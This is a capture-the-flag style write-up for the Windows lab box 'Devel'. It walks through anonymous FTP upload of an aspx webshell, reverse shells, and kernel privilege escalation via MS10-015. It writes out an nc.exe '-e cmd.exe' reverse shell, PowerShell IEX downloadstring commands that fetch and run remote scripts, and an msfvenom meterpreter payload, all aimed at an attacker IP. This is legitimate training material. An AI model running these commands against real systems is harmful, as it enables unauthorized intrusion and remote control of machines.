**Devel**Difficulty: Easy

Type: Windows

* **Nmap**
  + Ports 21 and 80 are open.

|  |
| --- |

* + It looks like ftp has anonymous login. Time to look there first.
* **FTP**
  + When logging into FTP, we have anonymous login. We see the following files

|  |
| --- |

* + This makes me think this is also the directory being used by the website.
* **Website**
  + Checking out the website, we see a default IIS 7 page. Going to the web directory “shell.aspx” does not show a 404 error but instead a blank page. I believe this means we have RCE

|  |
| --- |

* + We need to see what this shell is doing, so I grab it off FTP

|  |
| --- |

* + This particular shellcode seems to have been left behind by the user before me, so I am going to put my own on instead.
  + SecLists has some default shellcode that I will use

|  |
| --- |

* + After removing the previous shellcode, I put the new one into FTP

|  |
| --- |

* + Going to the website now yields the following

|  |
| --- |

* **Reverse Shell**
  + From here I am going to follow a tutorial showing how to get a reverse shell 3 ways by 0xdf
  + **SMB Share Reverse Shell**
    - First, set up a smb folder to share. This folder will contain the netcat binary executable. We can find this with “locate nc.exe” and copying the one from “/usr/share/windows-resources/binaries/nc.exe

|  |
| --- |

* + - To have a temporary smb server, use the impacket script called “smbserver.py”

|  |
| --- |

* + - * Here we are telling the server to SHARE the file we created called “smb”
    - Once the above are done, we execute this command through the webshell

| *\\10.10.14.34\share\nc.exe -e cmd.exe 10.10.14.34 9001* |
| --- |

|  |
| --- |

* + - Executing the above while we have a listener open will get us a reverse shell

|  |
| --- |

* + **Nishang**
    - Copy the “Invoke-PowerShellTcp.ps1 script from nishang’s “shells” directory into whatever directory we will set up a python server through.
    - In this script, put this line at the bottom to invoke the script as soon as it is done executing

|  |
| --- |

* + - Start a python server in the directory with the above script’s directory

|  |
| --- |

* + - * We could technically specify what port we want the server to be ran on at the end, but I left it default
    - In the webshell, execute the following

| powershell iex(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Invoke-PowerShellTcp.ps1') |
| --- |

* + - * If we had changed the port to ‘80’, then we could have left the port number alone in this script

|  |
| --- |

* + **Meterpreter with msfvenom**
    - First, generate the payload with

| *msfvenom -p windows/meterpreter/reverse\_tcp LHOST=10.10.14.34 LPORT=9001 -f aspx > devel\_rev.aspx* |
| --- |

|  |
| --- |

* + - Place the payload onto ftp

|  |
| --- |

* + - Next, start up metasploit meterpreter handler. I did attempt this with a simple listener, got a hit, but no shell. Use the metasploit one instead
    - Set the payload to “windows/shell/reverse\_tcp” if we are using an equivalent msfvenom module.

|  |
| --- |

* + - When a response is received, it may look like nothing is happening. If it does this and metasploit says “session created”, do:

| *sessions -i 1* |
| --- |

* **Privesc**
  + Doing some recon first with “systeminfo”

|  |
| --- |

* + Since the system is old, we should look for vulnerabilities pertaining to OS type. This is made more obvious by the fact that the “Hotfix(s)” section has no records, meaning the system has never been updated.
  + **Sherlock and Watson**
    - Both are tools used to find vulnerabilities on windows
      * **Sherlock**
        + <https://github.com/rasta-mouse/Sherlock>
        + Have Sherlock in a directory with a running http server, then do the following command

| *powershell "IEX(new-object net.webclient).downloadstring('http://10.10.14.34:8000/Sherlock.ps1'); Find-AllVulns"* |
| --- |

* + - * + The above will get Sherlock and proceed to execute it to find all possible kernel vulnerabilities.
        + We get the following output

|  |
| --- |

* + - * + With this we see there are a number of vulnerabilities we could try
      * **Watson**
        + <https://github.com/rasta-mouse/Watson>
        + Requires compilation, but looks interesting
  + **Metasploit finding vulns**
    - With the meterpreter session with metasploit, we can do the following

|  |
| --- |

* + - First, we put our session into the background/foreground
    - Search for “suggest.” This will be used by metasploit to suggest vulnerabilities
    - We will use the “post/multi/recon/local\_exploit\_suggester”
    - Set the session to whatever number the current one is and then run

|  |
| --- |

* + We see with the above recon that the box is vulnerable to a couple CVEs. I am going to pick the first one from sherlock called “KiTrap0D” which is MS10-015
  + This is a useful github with a bunch of windows exploits
    - <https://github.com/abatchy17/WindowsExploits>
  + Using this repo, I put the exe in the smb file we made and proceed to grab and execute it through the reverse shell we already have

|  |
| --- |

* **Root**
  + From a msfconsole meterpreter session, we can run an exploit.
  + Put the meterpreter in the background and search for the following

|  |
| --- |

* **NOTES**
  + Windows Exploits
    - <https://github.com/abatchy17/WindowsExploits>
  + Sherlock.ps1
    - <https://github.com/rasta-mouse/Sherlock>